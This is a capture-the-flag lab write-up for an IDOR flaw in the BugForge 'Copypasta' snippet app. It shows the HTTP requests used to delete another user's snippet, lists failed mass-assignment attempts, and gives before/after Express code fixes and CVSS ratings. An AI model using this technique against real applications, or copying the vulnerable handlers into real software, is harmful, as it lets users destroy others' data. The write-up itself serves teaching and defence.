BugForge — 2026.03.18

Copypasta: IDOR on Snippet Deletion

BugForge Broken Access Control easy

Overview

  • Platform: BugForge
  • Vulnerability: Insecure Direct Object Reference (IDOR) — missing authorization check on snippet deletion
  • Key Technique: Exploiting inconsistent authorization between PUT and DELETE endpoints on the same resource
  • Result: Deleted another user’s snippet using own JWT, flag returned in response

Objective

Find and exploit a vulnerability in the BugForge “Copypasta” snippet-sharing application.

Initial Access

# Target Application
URL: https://lab-1773864769112-56dr05.labs-app.bugforge.io

# Auth details
POST /api/register with {username, password}
Returns JWT Bearer token (HS256, no expiry)
Registered as: haxor (id:5, role: user)

Key Findings

  1. IDOR on DELETE /api/snippets/:id (CWE-639: Authorization Bypass Through User-Controlled Key) — The DELETE endpoint authenticates the user (requires valid JWT) but does not verify that the authenticated user owns the snippet being deleted. Any authenticated user can delete any snippet by ID. The PUT endpoint on the same resource correctly checks ownership and returns 403 — the inconsistency indicates the authorization check was simply missed on DELETE.

Attack Chain Visualization

┌──────────────┐     ┌──────────────────┐     ┌──────────────────┐     ┌──────────────────┐
│   Register   │────▶│  Enumerate App   │────▶│  Test IDOR on    │────▶│  Test IDOR on    │
│  (haxor)     │     │  API surface     │     │  PUT /snippets/1 │     │  DELETE /snip/1  │
│  Get JWT     │     │  via Caido       │     │                  │     │                  │
└──────────────┘     └──────────────────┘     │  403 Forbidden   │     │  200 OK + FLAG   │
                                              │  "Not authorized │     │  Ownership NOT   │
                                              │   to edit"       │     │  checked          │
                                              └──────────────────┘     └──────────────────┘

Application Architecture

Component Detail
Backend Express (Node.js)
Frontend React SPA
Auth JWT HS256 — payload: {id, username, iat}, no expiry
Database SQLite (inferred)
CORS Access-Control-Allow-Origin: *

API Surface

Endpoint Method Auth Authorization
/api/register POST No
/api/verify-token GET Yes
/api/snippets GET Yes Returns own snippets
/api/snippets POST Yes Creates under own user
/api/snippets/public GET No
/api/snippets/:id PUT Yes Ownership check (403)
/api/snippets/:id DELETE Yes NO ownership check (VULN)
/api/snippets/share/:uuid GET No
/api/snippets/:id/like POST Yes
/api/snippets/:id/comments GET/POST Yes
/api/profile PUT Yes Own profile only
/api/profile/password PUT Yes No old password required
/api/profile/:username GET No

Known Users

Username ID Notable
admin 1 Snippet 7 (SQL query)
coder123 2 Snippets 1, 2
pythonista 3 Snippet 3
webdev 4 Snippets 5, 6
haxor 5 Our user

Exploitation Path

Step 1: Register and Authenticate

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "haxor",
  "password": "password123"
}

Response returns JWT with payload {"id":5,"username":"haxor","iat":...}. Role is stored server-side as “user” — not included in the token.

Step 2: Enumerate API Surface

Walked the application in browser and reviewed Caido proxy history to map all API endpoints. Key observation: snippets support full CRUD operations (GET, POST, PUT, DELETE) with JWT authentication required for all mutations.

Step 3: Test IDOR on PUT (Blocked)

PUT /api/snippets/1 HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json

{
  "title": "pwned",
  "content": "owned by haxor"
}

Response: 403 Forbidden — “Not authorized to edit this snippet”

The PUT endpoint correctly verifies that the authenticated user (id:5) owns snippet 1 (owned by coder123, id:2).

Step 4: Test IDOR on DELETE (Vulnerable)

DELETE /api/snippets/1 HTTP/1.1
Authorization: Bearer <haxor_jwt>

Response: 200 OK — snippet deleted, flag returned in response body.

The DELETE endpoint authenticates the request (valid JWT required) but does not check whether the requesting user owns the target snippet. The authorization check present on PUT was not implemented on DELETE.


Flag / Objective Achieved

Vector Flag
IDOR on DELETE /api/snippets/1 bug{sRIsMVR8YIzpa1juLkeIXizU9LpQcQgW}

Key Learnings

  • Authorization must be consistent across all HTTP methods on a resource. The PUT endpoint had a proper ownership check, but DELETE did not. When different methods on the same resource enforce different authorization rules, the weakest one becomes the attack vector.
  • Authentication is not authorization. The DELETE endpoint required a valid JWT (authentication) but didn’t verify the user had permission to delete the specific resource (authorization). These are separate concerns that must both be addressed.
  • Test all CRUD operations independently. A 403 on PUT doesn’t mean DELETE is also protected. Each HTTP method may have its own handler with its own (or missing) authorization logic.
  • Systematic API enumeration pays off. Mapping the full API surface via proxy history revealed the inconsistency. Testing only the “obvious” endpoints would have missed the vulnerability.

Failed Approaches

Approach Result Why It Failed
IDOR on PUT /api/snippets/:id 403 Forbidden Ownership check correctly implemented on PUT
Mass assignment on register (role: admin) Role ignored Server filters to whitelisted fields only
Mass assignment on profile update (role: admin) Request accepted, role unchanged PUT /api/profile uses field whitelist

Tools Used

Tool Purpose
Caido HTTP proxy — API enumeration and request replay
curl / HTTP client Direct API endpoint testing
Browser DevTools React SPA analysis, frontend review

Remediation

1. Missing Authorization on DELETE Endpoint (CVSS: 7.1 - High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Issue: The DELETE /api/snippets/:id endpoint authenticates the user but does not verify ownership of the target snippet. Any authenticated user can delete any snippet in the system.

CWE Reference: CWE-639 — Authorization Bypass Through User-Controlled Key

Fix:

// BEFORE (Vulnerable)
router.delete('/snippets/:id', authMiddleware, async (req, res) => {
  const snippet = await Snippet.findByPk(req.params.id);
  if (!snippet) return res.status(404).json({ error: 'Not found' });
  await snippet.destroy();
  res.json({ message: 'Deleted' });
});

// AFTER (Secure)
router.delete('/snippets/:id', authMiddleware, async (req, res) => {
  const snippet = await Snippet.findByPk(req.params.id);
  if (!snippet) return res.status(404).json({ error: 'Not found' });
  if (snippet.user_id !== req.user.id) {
    return res.status(403).json({ error: 'Not authorized to delete this snippet' });
  }
  await snippet.destroy();
  res.json({ message: 'Deleted' });
});

Additional recommendations:

  • Extract the ownership check into shared middleware used by both PUT and DELETE handlers. This prevents future inconsistencies when adding new methods.
  • Consider implementing role-based overrides (admin can delete any snippet) separately from the ownership check.

2. Password Change Without Old Password Verification (CVSS: 5.4 - Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Issue: PUT /api/profile/password changes the password without requiring the current password. If an attacker gains a valid session (e.g., through XSS or session fixation), they can lock out the legitimate user.

CWE Reference: CWE-620 — Unverified Password Change

Fix:

// BEFORE (Vulnerable)
router.put('/profile/password', authMiddleware, async (req, res) => {
  const { new_password } = req.body;
  await user.update({ password: hash(new_password) });
});

// AFTER (Secure)
router.put('/profile/password', authMiddleware, async (req, res) => {
  const { old_password, new_password } = req.body;
  if (!await verify(old_password, user.password)) {
    return res.status(403).json({ error: 'Current password incorrect' });
  }
  await user.update({ password: hash(new_password) });
});

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: The core vulnerability. The DELETE endpoint enforces authentication but not authorization, allowing horizontal privilege abuse (one user acting on another user’s resources).
  • A04:2021 — Insecure Design: Inconsistent authorization across HTTP methods on the same resource indicates a design-level gap — authorization was not applied systematically.

References


Tags: #idor #broken-access-control #authorization-bypass #bugforge #webapp Document Version: 1.0 Last Updated: 2026-03-18

#IDOR #authorization-bypass #DELETE-endpoint